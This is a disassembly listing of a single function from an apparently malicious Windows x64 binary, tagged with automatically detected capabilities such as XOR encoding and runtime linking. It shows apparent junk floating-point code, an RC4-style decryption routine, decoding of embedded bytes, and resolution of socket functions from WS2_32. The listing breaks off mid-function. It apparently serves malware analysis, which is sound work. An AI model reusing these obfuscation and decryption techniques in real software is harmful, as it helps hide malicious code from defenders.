Function at 0x1400e9710
Capabilities:
Encode data using xor
Get common file path
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xe28
movapd xmmword [rsp + 0xe10], xmm9
movapd xmmword [rsp + 0xe00], xmm8
movapd xmmword [rsp + 0xdf0], xmm7
movapd xmmword [rsp + 0xde0], xmm6
mov qword [rsp + 0xb8], r9
mov qword [rsp + 0xa0], r8
mov rbx, rdx
mov rsi, rcx
mov rbp, qword [rsp + 0xe98]
mov rax, qword [0x140516758]
xor rax, rsp
mov qword [rsp + 0xdd8], rax
xorpd xmm6, xmm6
movapd xmmword [rsp + 0x120], xmm6
movapd xmmword [rsp + 0x110], xmm6
movapd xmmword [rsp + 0x100], xmm6
movapd xmmword [rsp + 0xf0], xmm6
lea rcx, [rsp + 0xbd0]
mov r8d, 0x208
xor edx, edx
call fcn.1404a3cc0
movapd xmmword [rsp + 0xe0], xmm6
mov qword [rsp + 0xd8], 0
lea rcx, [rsp + 0x120]
mov rdx, rbx
call rbp
mov r13d, eax
mov qword [rsp + 0x2b0], 0
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x2b0], 0
mov qword [rsp + 0x190], 0
mov qword [rsp + 0x190], 0
movsd xmm1, qword [rsp + 0x190]
movsd xmm0, qword [0x1404d91c0]
ucomisd xmm0, xmm1
jbe 0x1400e9950
movabs rax, 0x8000000000000000
movapd xmm1, xmmword [0x1404d91d0]
movapd xmm2, xmmword [0x1404d91e0]
movsd xmm3, qword [0x1404d91f0]
movsd xmm4, qword [0x1404d91f8]
movsd xmm5, qword [0x1404d7b00]
jmp 0x1400e9899
movsd xmm6, qword [rsp + 0x190]
addsd xmm6, xmm5
movsd qword [rsp + 0x190], xmm6
movsd xmm6, qword [rsp + 0x190]
ucomisd xmm0, xmm6
jbe 0x1400e9950
movsd xmm6, qword [rsp + 0x190]
movsd xmm7, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x190]
xor rcx, rax
movq xmm8, rcx
movsd xmm9, qword [rsp + 0x190]
mulsd xmm9, xmm8
shufpd xmm9, xmm2, 2
movsd xmm8, qword [rsp + 0x190]
unpcklpd xmm6, xmm8
movsd xmm8, qword [rsp + 0x190]
unpcklpd xmm7, xmm8
mulpd xmm6, xmm1
mulpd xmm6, xmm7
addpd xmm6, xmm9
movapd xmm7, xmm6
unpckhpd xmm7, xmm6
divsd xmm6, xmm7
addsd xmm6, qword [rsp + 0x2b0]
movsd qword [rsp + 0x2b0], xmm6
movsd xmm6, qword [rsp + 0x2b0]
ucomisd xmm6, xmm3
jbe 0x1400e9870
movsd xmm6, qword [rsp + 0x190]
mulsd xmm6, xmm4
addsd xmm6, qword [rsp + 0x2b0]
movsd qword [rsp + 0x2b0], xmm6
jmp 0x1400e9870
movsd xmm0, qword [rsp + 0x2b0]
xorpd xmm1, xmm1
ucomisd xmm1, xmm0
mov qword [rsp + 0xa8], rsi
jbe 0x1400e997d
mov rbx, rbp
call fcn.14049ec19
call fcn.14049ebeb
jmp 0x1400eae03
mov dword [rsp + 0x3d0], 0x46926800
mov dword [rsp + 0x160], 0x466a4000
mov dword [rsp + 0x140], 0x462fb000
mov dword [rsp + 0x280], 0x45ea4000
mov dword [rsp + 0x230], 0x456a4000
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x280]
subss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x230]
addss xmm0, dword [rsp + 0x280]
movss dword [rsp + 0x280], xmm0
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x3d0]
subss xmm1, xmm0
movss dword [rsp + 0x3d0], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x3d0]
subss xmm1, xmm0
movss dword [rsp + 0x3d0], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x140]
mulss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x230]
ucomiss xmm1, xmm0
movss xmm0, dword [rsp + 0x3d0]
jbe 0x1400e9c4b
movss xmm1, dword [rsp + 0x230]
mulss xmm0, xmm1
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x280]
divss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x230]
addss xmm0, dword [rsp + 0x280]
movss dword [rsp + 0x280], xmm0
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x280]
divss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x160]
movss xmm1, dword [rsp + 0x3d0]
mulss xmm1, xmm0
movss dword [rsp + 0x3d0], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x3d0]
subss xmm1, xmm0
movss dword [rsp + 0x3d0], xmm1
movss xmm0, dword [rsp + 0x160]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x3d0]
subss xmm1, xmm0
movss dword [rsp + 0x3d0], xmm1
movss xmm0, dword [rsp + 0x160]
movss xmm1, dword [rsp + 0x230]
mulss xmm1, xmm0
movss dword [rsp + 0x230], xmm1
movss xmm0, dword [rsp + 0x3d0]
movss xmm1, dword [rsp + 0x280]
subss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x230]
ucomiss xmm1, xmm0
jbe 0x1400e9ce1
movss xmm0, dword [rsp + 0x230]
addss xmm0, dword [rsp + 0x280]
movss dword [rsp + 0x280], xmm0
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x280]
mulss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x160]
movss xmm1, dword [rsp + 0x3d0]
subss xmm1, xmm0
movss dword [rsp + 0x3d0], xmm1
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x280]
divss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
movss xmm0, dword [rsp + 0x160]
movss xmm1, dword [rsp + 0x3d0]
subss xmm1, xmm0
movss dword [rsp + 0x3d0], xmm1
jmp 0x1400e9d78
movss xmm1, dword [rsp + 0x280]
mulss xmm0, xmm1
movss dword [rsp + 0x280], xmm0
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x160]
subss xmm1, xmm0
movss dword [rsp + 0x160], xmm1
movss xmm0, dword [rsp + 0x230]
addss xmm0, dword [rsp + 0x140]
movss dword [rsp + 0x140], xmm0
movss xmm0, dword [rsp + 0x160]
addss xmm0, dword [rsp + 0x230]
movss dword [rsp + 0x230], xmm0
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x160]
subss xmm1, xmm0
movss dword [rsp + 0x160], xmm1
lea rcx, [fcn.14049ec19]
jmp 0x1400e9d7d
movss xmm0, dword [rsp + 0x140]
movss xmm1, dword [rsp + 0x160]
divss xmm1, xmm0
movss dword [rsp + 0x160], xmm1
movss xmm0, dword [rsp + 0x280]
movss xmm1, dword [rsp + 0x140]
subss xmm1, xmm0
movss dword [rsp + 0x140], xmm1
movss xmm0, dword [rsp + 0x160]
movss xmm1, dword [rsp + 0x3d0]
subss xmm1, xmm0
movss dword [rsp + 0x3d0], xmm1
movss xmm0, dword [rsp + 0x160]
addss xmm0, dword [rsp + 0x3d0]
movss dword [rsp + 0x3d0], xmm0
movss xmm0, dword [rsp + 0x230]
movss xmm1, dword [rsp + 0x280]
mulss xmm1, xmm0
movss dword [rsp + 0x280], xmm1
mov ecx, 0x4d25
movaps xmm0, xmmword [0x1404d7900]
movaps xmmword [rsp + 0x3d0], xmm0
movaps xmm0, xmmword [0x1404d7910]
movaps xmmword [rsp + 0x3e0], xmm0
movaps xmm0, xmmword [0x1404d7920]
movaps xmmword [rsp + 0x3f0], xmm0
movaps xmm0, xmmword [0x1404d7930]
movaps xmmword [rsp + 0x400], xmm0
movaps xmm0, xmmword [0x1404d7940]
movaps xmmword [rsp + 0x410], xmm0
movaps xmm0, xmmword [0x1404d7950]
movaps xmmword [rsp + 0x420], xmm0
movaps xmm0, xmmword [0x1404d7960]
movaps xmmword [rsp + 0x430], xmm0
movaps xmm0, xmmword [0x1404d7970]
movaps xmmword [rsp + 0x440], xmm0
movaps xmm0, xmmword [0x1404d7980]
movaps xmmword [rsp + 0x450], xmm0
movaps xmm0, xmmword [0x1404d7990]
movaps xmmword [rsp + 0x460], xmm0
movaps xmm0, xmmword [0x1404d79a0]
movaps xmmword [rsp + 0x470], xmm0
movaps xmm0, xmmword [0x1404d79b0]
movaps xmmword [rsp + 0x480], xmm0
movaps xmm0, xmmword [0x1404d79c0]
movaps xmmword [rsp + 0x490], xmm0
movaps xmm0, xmmword [0x1404d79d0]
movaps xmmword [rsp + 0x4a0], xmm0
movaps xmm0, xmmword [0x1404d79e0]
movaps xmmword [rsp + 0x4b0], xmm0
movapd xmm0, xmmword [0x1404d79f0]
movapd xmmword [rsp + 0x4c0], xmm0
xor r8d, r8d
mov r9d, 0xff
lea r10, [0x140104290]
xor r11d, r11d
xor esi, esi
jmp 0x1400e9e99
dec r9
je 0x1400e9fe5
mov edx, 1
cmp r9, 2
jb 0x1400e9eb9
mov edx, 1
nop dword [rax]
add edx, edx
inc edx
cmp r9, rdx
ja 0x1400e9eb0
mov edi, ntohs
nop
cmp r11d, 3
ja case.default.0x1400e9ed0
mov eax, r11d
movsxd rax, dword [r10 + rax*4]
add rax, r10
jmp rax
movzx esi, sil
movsd xmm0, qword [rsp + 0x2b0]
cvttsd2si rax, xmm0
jmp 0x1400e9f60
movzx esi, sil
lea eax, [r11 - 4]
movzx eax, byte [rcx + rax]
jmp 0x1400e9f60
movsd xmm0, qword [rsp + 0x2b0]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 8
jmp 0x1400e9f60
movsd xmm0, qword [rsp + 0x2b0]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 0x10
jmp 0x1400e9f60
movsd xmm0, qword [rsp + 0x2b0]
cvttsd2si rax, xmm0
movzx esi, sil
shr eax, 0x18
nop word cs:[rax + rax]
add al, byte [rsp + rsi + 0x3d0]
inc r11d
lea esi, [rax + 0x16]
cmp r11d, 0x16
movzx eax, al
movzx esi, sil
cmovb esi, eax
cmovae r11d, r8d
mov eax, esi
and eax, edx
movzx eax, al
dec edi
je 0x1400e9fa0
mov r14d, eax
cmp r9, r14
jb 0x1400e9ec0
jmp 0x1400e9fa7
xor edx, edx
div r9d
mov eax, edx
mov eax, eax
cmp r9, rax
je 0x1400e9e90
movzx edx, byte [rsp + r9 + 0x3d0]
xor dl, byte [rsp + rax + 0x3d0]
mov byte [rsp + r9 + 0x3d0], dl
xor dl, byte [rsp + rax + 0x3d0]
mov byte [rsp + rax + 0x3d0], dl
xor byte [rsp + r9 + 0x3d0], dl
jmp 0x1400e9e90
mov dword [rsp + 0x98], r13d
movzx ecx, byte [rsp + 0x3d1]
movzx edx, byte [rsp + 0x3d5]
movzx eax, byte [rsp + 0x3d7]
movzx r8d, sil
movzx r8d, byte [rsp + r8 + 0x3d0]
movzx r14d, byte [rsp + r8 + 0x3d0]
lea r10d, [rcx + 1]
movzx r9d, byte [rsp + rcx + 0x3d0]
add r9b, byte [rsp + 0x3d3]
movzx r11d, r9b
movzx esi, byte [rsp + r11 + 0x3d0]
mov byte [rsp + r8 + 0x3d0], sil
movzx esi, byte [rsp + rax + 0x3d0]
mov byte [rsp + r11 + 0x3d0], sil
movzx r10d, r10b
movzx esi, byte [rsp + r10 + 0x3d0]
mov byte [rsp + rax + 0x3d0], sil
mov byte [rsp + r10 + 0x3d0], r14b
movzx r8d, byte [rsp + r8 + 0x3d0]
add r8b, byte [rsp + rax + 0x3d0]
add dl, byte [rsp + r14 + 0x3d0]
movzx eax, byte [fcn.14049ebeb]
movzx r10d, dl
add r8b, byte [rsp + r10 + 0x3d0]
movzx r15d, byte [0x14049ebec]
movzx r8d, r8b
movzx r8d, byte [rsp + r8 + 0x3d0]
movzx r10d, byte [rsp + r11 + 0x3d0]
add r10b, r14b
movzx r11d, r10b
shl eax, 4
add eax, 0xfffffa00
add r15d, 0x1d
or r15d, eax
movzx r10d, byte [rsp + r8 + 0x3d0]
xor r10b, r15b
xor r10b, byte [rsp + r11 + 0x3d0]
mov r8, 0xfffffffffffffff7
lea rax, [fcn.14049ebeb]
nop word cs:[rax + rax]
add r9b, r14b
movzx edi, byte [rax + r8*2 + 0x14]
movzx r11d, byte [rax + r8*2 + 0x15]
add r11, 0x1d
shl edi, 4
add edi, 0xfffffa00
or r11, rdi
movzx r15d, r15b
movzx r14d, byte [rsp + r15 + 0x3d0]
lea esi, [rcx + r8]
add esi, 0xb
movzx r12d, r9b
movzx r13d, byte [rsp + r12 + 0x3d0]
mov byte [rsp + r15 + 0x3d0], r13b
movzx r10d, r10b
movzx r13d, byte [rsp + r10 + 0x3d0]
mov byte [rsp + r12 + 0x3d0], r13b
movzx esi, sil
movzx r13d, byte [rsp + rsi + 0x3d0]
mov byte [rsp + r10 + 0x3d0], r13b
mov byte [rsp + rsi + 0x3d0], r14b
add dl, byte [rsp + r14 + 0x3d0]
movzx r12d, byte [rsp + r12 + 0x3d0]
add r12b, r14b
movzx r15d, byte [rsp + r15 + 0x3d0]
add r15b, byte [rsp + r10 + 0x3d0]
movzx r10d, r12b
movzx r12d, dl
add r15b, byte [rsp + r12 + 0x3d0]
movzx r15d, r15b
movzx r15d, byte [rsp + r15 + 0x3d0]
movzx r10d, byte [rsp + r10 + 0x3d0]
xor r10b, r11b
xor r10b, byte [rsp + r15 + 0x3d0]
mov r15d, r11d
inc r8
jne 0x1400ea100
movabs r14, 0x40dbaf8000000000
mov qword [rsp + 0x160], r14
movabs r14, 0x40d7124000000000
mov qword [rsp + 0x140], r14
movabs r14, 0x40d2750000000000
mov qword [rsp + 0x280], r14
movabs r14, 0x40cbaf8000000000
mov qword [rsp + 0x230], r14
movabs r14, 0x40c2750000000000
mov qword [rsp + 0x1f0], r14
movabs r14, 0x40b2750000000000
mov qword [rsp + 0x1d0], r14
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x160]
movsd qword [rsp + 0x160], xmm0
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x160]
movsd qword [rsp + 0x160], xmm0
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x140]
mulsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x1f0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x140]
subsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1f0]
ucomisd xmm1, xmm0
movsd xmm0, qword [rsp + 0x140]
jbe 0x1400ea55d
movsd xmm1, qword [rsp + 0x1d0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
mulsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x160]
movsd xmm1, qword [rsp + 0x1f0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
subsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x280]
subsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1d0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1d0]
divsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1d0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x160]
movsd xmm1, qword [rsp + 0x1f0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
divsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x160]
movsd xmm1, qword [rsp + 0x280]
ucomisd xmm1, xmm0
jbe 0x1400ea605
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
divsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x1d0]
divsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x280]
movsd xmm1, qword [rsp + 0x160]
mulsd xmm1, xmm0
movsd qword [rsp + 0x160], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
subsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x280]
movsd xmm1, qword [rsp + 0x160]
divsd xmm1, xmm0
movsd qword [rsp + 0x160], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
subsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
jmp 0x1400ea6ab
addsd xmm0, qword [rsp + 0x160]
movsd qword [rsp + 0x160], xmm0
movsd xmm0, qword [rsp + 0x280]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x280]
movsd qword [rsp + 0x280], xmm0
movsd xmm0, qword [rsp + 0x1f0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x140]
addsd xmm0, qword [rsp + 0x160]
movsd qword [rsp + 0x160], xmm0
movsd xmm0, qword [rsp + 0x160]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
mov r15d, reloc.WS2_32.dll_socket
jmp 0x1400ea6b1
movsd xmm0, qword [rsp + 0x280]
addsd xmm0, qword [rsp + 0x160]
movsd qword [rsp + 0x160], xmm0
movsd xmm0, qword [rsp + 0x230]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x160]
addsd xmm0, qword [rsp + 0x1f0]
movsd qword [rsp + 0x1f0], xmm0
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x140]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
mov r15d, Ordinal_26
movzx r12d, byte [0x14049ebff]
movzx r14d, byte [0x14049ec00]
movabs r13, 0x40d024c000000000
mov qword [rsp + 0x160], r13
movabs r13, 0x40cae80000000000
mov qword [rsp + 0x140], r13
movabs r13, 0x40c5868000000000
mov qword [rsp + 0x280], r13
movabs r13, 0x40c0250000000000
mov qword [rsp + 0x230], r13
movabs r13, 0x40b5870000000000
mov qword [rsp + 0x1f0], r13
movabs r13, 0x40a5880000000000
mov qword [rsp + 0x1d0], r13
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x140]
subsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x160]
movsd qword [rsp + 0x160], xmm0
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x140]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x1d0]
addsd xmm0, qword [rsp + 0x230]
movsd qword [rsp + 0x230], xmm0
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x160]
mulsd xmm1, xmm0
movsd qword [rsp + 0x160], xmm1
movsd xmm0, qword [rsp + 0x160]
movsd xmm1, qword [rsp + 0x1d0]
ucomisd xmm0, xmm1
jbe 0x1400ea8c0
movsd xmm0, qword [rsp + 0x160]
movsd xmm1, qword [rsp + 0x1d0]
mulsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x140]
movsd xmm1, qword [rsp + 0x160]
mulsd xmm1, xmm0
movsd qword [rsp + 0x160], xmm1
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x1f0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x280]
subsd xmm1, xmm0
movsd qword [rsp + 0x280], xmm1
movsd xmm0, qword [rsp + 0x160]
movsd xmm1, qword [rsp + 0x1d0]
subsd xmm1, xmm0
movsd qword [rsp + 0x1d0], xmm1
movsd xmm0, qword [rsp + 0x160]
addsd xmm0, qword [rsp + 0x1d0]
movsd qword [rsp + 0x1d0], xmm0
shl r12d, 4
add r12d, 0xfffffa00
mov edi, r12d
jmp 0x1400ea97a
movsd xmm0, qword [rsp + 0x1d0]
movsd xmm1, qword [rsp + 0x230]
subsd xmm1, xmm0
movsd qword [rsp + 0x230], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
mulsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x160]
movsd xmm1, qword [rsp + 0x1f0]
divsd xmm1, xmm0
movsd qword [rsp + 0x1f0], xmm1
movsd xmm0, qword [rsp + 0x280]
movsd xmm1, qword [rsp + 0x160]
subsd xmm1, xmm0
movsd qword [rsp + 0x160], xmm1
movsd xmm0, qword [rsp + 0x230]
movsd xmm1, qword [rsp + 0x140]
subsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x280]
movsd xmm1, qword [rsp + 0x160]
divsd xmm1, xmm0
movsd qword [rsp + 0x160], xmm1
add r14, 0x1d
mov edi, edi
or rdi, r14
movzx r11d, r11b
movzx r14d, byte [rsp + r11 + 0x3d0]
lea r12d, [rcx + r8]
add r12d, 0xb
add r9b, byte [rsp + rsi + 0x3d0]
movzx r13d, r9b
movzx esi, byte [rsp + r13 + 0x3d0]
mov byte [rsp + r11 + 0x3d0], sil
movzx r10d, r10b
movzx esi, byte [rsp + r10 + 0x3d0]
mov byte [rsp + r13 + 0x3d0], sil
movzx esi, r12b
movzx r12d, byte [rsp + rsi + 0x3d0]
mov byte [rsp + r10 + 0x3d0], r12b
mov byte [rsp + rsi + 0x3d0], r14b
add dl, byte [rsp + r14 + 0x3d0]
movzx r12d, byte [rsp + r13 + 0x3d0]
add r12b, r14b
movzx r11d, byte [rsp + r11 + 0x3d0]
add r11b, byte [rsp + r10 + 0x3d0]
movzx r10d, r12b
movzx r14d, dl
add r11b, byte [rsp + r14 + 0x3d0]
movzx r11d, r11b
movzx r11d, byte [rsp + r11 + 0x3d0]
movzx r14d, byte [rsp + r10 + 0x3d0]
xor r14b, dil
xor r14b, byte [rsp + r11 + 0x3d0]
movzx r11d, byte [0x14049ec01]
movabs r10, 0x40d41e4000000000
mov qword [rsp + 0x160], r10
movabs r10, 0x40cad30000000000
mov qword [rsp + 0x140], r10
movabs r10, 0x40bad30000000000
mov qword [rsp + 0x280], r10
movsd xmm0, qword [rsp + 0x280]
addsd xmm0, qword [rsp + 0x160]
movsd qword [rsp + 0x160], xmm0
movsd xmm0, qword [rsp + 0x280]
addsd xmm0, qword [rsp + 0x140]
lea r10, [rcx + r8 + 0xe]
movsd qword [rsp + 0x140], xmm0
movsd xmm0, qword [rsp + 0x280]
movsd xmm1, qword [rsp + 0x160]
mulsd xmm1, xmm0
movsd qword [rsp + 0x160], xmm1
movsd xmm0, qword [rsp + 0x160]
movsd xmm1, qword [rsp + 0x280]
ucomisd xmm0, xmm1
movsd xmm0, qword [rsp + 0x280]
movsd xmm1, qword [rsp + 0x160]
mov rbx, rbp
jbe 0x1400eab42
addsd xmm0, xmm1
movsd qword [rsp + 0x160], xmm0
movsd xmm0, qword [rsp + 0x140]
addsd xmm0, qword [rsp + 0x280]
movsd qword [rsp + 0x280], xmm0
movsd xmm0, qword [rsp + 0x280]
movsd xmm1, qword [rsp + 0x160]
subsd xmm1, xmm0
jmp 0x1400eab84
mulsd xmm0, xmm1
movsd qword [rsp + 0x160], xmm0
movsd xmm0, qword [rsp + 0x160]
movsd xmm1, qword [rsp + 0x140]
subsd xmm1, xmm0
movsd qword [rsp + 0x140], xmm1
movsd xmm0, qword [rsp + 0x280]
movsd xmm1, qword [rsp + 0x160]
mulsd xmm1, xmm0
movsd qword [rsp + 0x160], xmm1
movzx r12d, dil
movzx edi, byte [rsp + r12 + 0x3d0]
lea r13d, [rcx + r8]
add r13d, 0xc
add r9b, byte [rsp + rsi + 0x3d0]
movzx r9d, r9b
movzx esi, byte [rsp + r9 + 0x3d0]
mov byte [rsp + r12 + 0x3d0], sil
movzx esi, r14b
movzx r14d, byte [rsp + rsi + 0x3d0]
mov byte [rsp + r9 + 0x3d0], r14b
movzx r14d, r13b
movzx r13d, byte [rsp + r14 + 0x3d0]
mov byte [rsp + rsi + 0x3d0], r13b
movzx r13d, byte [0x14049ec02]
add r13b, 0x1d
shl r11b, 4
mov byte [rsp + r14 + 0x3d0], dil
add dl, byte [rsp + rdi + 0x3d0]
movzx r14d, byte [rsp + r9 + 0x3d0]
add r14b, dil
movzx r14d, r14b
movzx ebp, byte [rsp + r12 + 0x3d0]
add bpl, byte [rsp + rsi + 0x3d0]
movzx r12d, byte [rsp + r14 + 0x3d0]
movzx edx, dl
add bpl, byte [rsp + rdx + 0x3d0]
movzx esi, bpl
movzx esi, byte [rsp + rsi + 0x3d0]
xor r12b, byte [rsp + rsi + 0x3d0]
or r11b, r13b
xor r12b, r11b
movzx esi, byte [0x14049ec03]
movzx r14d, byte [0x14049ec04]
add r14b, 0x1d
shl sil, 4
movzx r13d, r11b
movzx r11d, byte [rsp + r13 + 0x3d0]
add ecx, r8d
add ecx, 0xd
add r9b, dil
movzx r8d, r9b
movzx edi, byte [rsp + r8 + 0x3d0]
mov byte [rsp + r13 + 0x3d0], dil
movzx edi, r12b
movzx ebp, byte [rsp + rdi + 0x3d0]
mov byte [rsp + r8 + 0x3d0], bpl
movzx ecx, cl
movzx ebp, byte [rsp + rcx + 0x3d0]
mov byte [rsp + rdi + 0x3d0], bpl
mov byte [rsp + rcx + 0x3d0], r11b
add dl, byte [rsp + r11 + 0x3d0]
movzx ecx, byte [rsp + r8 + 0x3d0]
add cl, r11b
movzx ecx, cl
movzx r8d, byte [rsp + r13 + 0x3d0]
add r8b, byte [rsp + rdi + 0x3d0]
movzx edi, byte [rsp + rcx + 0x3d0]
movzx ecx, dl
add r8b, byte [rsp + rcx + 0x3d0]
movzx ecx, r8b
movzx ecx, byte [rsp + rcx + 0x3d0]
xor dil, byte [rsp + rcx + 0x3d0]
or sil, r14b
xor dil, sil
lea rcx, [r15 + r15]
add rcx, 0xffffffffffffffe8
xor r8d, r8d
mov r13d, dword [rsp + 0x98]
add r9b, r11b
movzx r14d, sil
movzx esi, byte [r8 + rax + 0x1a]
movzx r11d, byte [rsp + r14 + 0x3d0]
movzx r15d, r9b
movzx ebp, byte [rsp + r15 + 0x3d0]
mov byte [rsp + r14 + 0x3d0], bpl
movzx r12d, dil
movzx edi, byte [rsp + r12 + 0x3d0]
mov byte [rsp + r15 + 0x3d0], dil
movzx r10d, r10b
movzx edi, byte [rsp + r10 + 0x3d0]
mov byte [rsp + r12 + 0x3d0], dil
movzx edi, byte [r8 + rax + 0x1b]
add dil, 0x1d
shl sil, 4
mov byte [rsp + r10 + 0x3d0], r11b
add dl, byte [rsp + r11 + 0x3d0]
or sil, dil
movzx edi, byte [rsp + r15 + 0x3d0]
add dil, r11b
movzx edi, dil
movzx edi, byte [rsp + rdi + 0x3d0]
movzx ebp, byte [rsp + r14 + 0x3d0]
add bpl, byte [rsp + r12 + 0x3d0]
movzx r14d, dl
add bpl, byte [rsp + r14 + 0x3d0]
movzx r14d, bpl
movzx r14d, byte [rsp + r14 + 0x3d0]
xor dil, byte [rsp + r14 + 0x3d0]
xor dil, sil
add r8, 2
inc r10b
cmp rcx, r8
jne 0x1400ead30
mov ecx, r13d
call fcn.1401063a0
xor r13d, r13d
test eax, eax
je 0x1400ffa8a
lea rdx, [rsp + 0xbd0]
mov ecx, 0x104
